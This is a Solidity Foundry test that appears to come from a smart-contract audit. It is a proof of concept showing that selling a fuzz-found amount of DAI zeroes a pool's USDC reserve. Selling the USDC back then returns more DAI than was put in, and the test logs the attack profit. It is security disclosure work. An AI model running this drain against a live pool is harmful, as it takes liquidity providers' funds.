```\nfunction test_poolCanBeDrained() public {\n        // @review 99959990000000000000000 this amount makes the reserve 0\n        // run a fuzz test, to get the logs easily I will just use this value as constant but I found it via fuzzing\n        // selling this amount to the pool will make the quote token reserves "0".\n        vm.startPrank(tapir);\n        uint256 _amount = 99959990000000000000000;\n\n        //  Buy shares with tapir, 10 - 10 initiate the pool\n        dai.transfer(address(gsp), 10 * 1e18);\n        usdc.transfer(address(gsp), 10 * 1e6);\n        gsp.buyShares(tapir);\n\n        // make sure the values are correct with my math\n        assertTrue(gsp._BASE_RESERVE_() == 10 * 1e18);\n        assertTrue(gsp._QUOTE_RESERVE_() == 10 * 1e6);\n        assertTrue(gsp._BASE_TARGET_() == 10 * 1e18);\n        assertTrue(gsp._QUOTE_TARGET_() == 10 * 1e6);\n        assertEq(gsp.balanceOf(tapir), 10 * 1e18);\n        vm.stopPrank();\n        \n        // sell such a base token amount such that the quote reserve is 0\n        // I calculated the "_amount" already which will make the quote token reserve "0"\n        vm.startPrank(hippo);\n        deal(DAI, hippo, _amount);\n        dai.transfer(address(gsp), _amount);\n        uint256 receivedQuoteAmount = gsp.sellBase(hippo);\n\n        // print the reserves and the amount received by hippo when he sold the base tokens\n        console.log("Received quote amount by hippo", receivedQuoteAmount);\n        console.log("Base reserve", gsp._BASE_RESERVE_());\n        console.log("Quote reserve", gsp._QUOTE_RESERVE_());\n\n        // Quote reserve is 0!!! That means the pool has 0 assets, basically pool has only one asset now!\n        // this behaviour is almost always not a desired behaviour because we never want our assets to be 0 \n        // as a result of swapping or removing liquidity.\n        assertEq(gsp._QUOTE_RESERVE_(), 0);\n\n        // sell the quote tokens received back to the pool immediately\n        usdc.transfer(address(gsp), receivedQuoteAmount);\n\n        // cache whatever received base tokens from the selling back\n        uint256 receivedBaseAmount = gsp.sellQuote(hippo);\n\n        console.log("Received base amount by hippo", receivedBaseAmount);\n        console.log("Base target", gsp._BASE_TARGET_());\n        console.log("Quote target", gsp._QUOTE_TARGET_());\n        console.log("Base reserve", gsp._BASE_RESERVE_());\n        console.log("Quote reserve", gsp._QUOTE_RESERVE_());\n        \n        // whatever received in base tokens are bigger than our first flashloan! \n        // means that we have a profit!\n        assertGe(receivedBaseAmount, _amount);\n        console.log("Profit for attack", receivedBaseAmount - _amount);\n    }\n```\n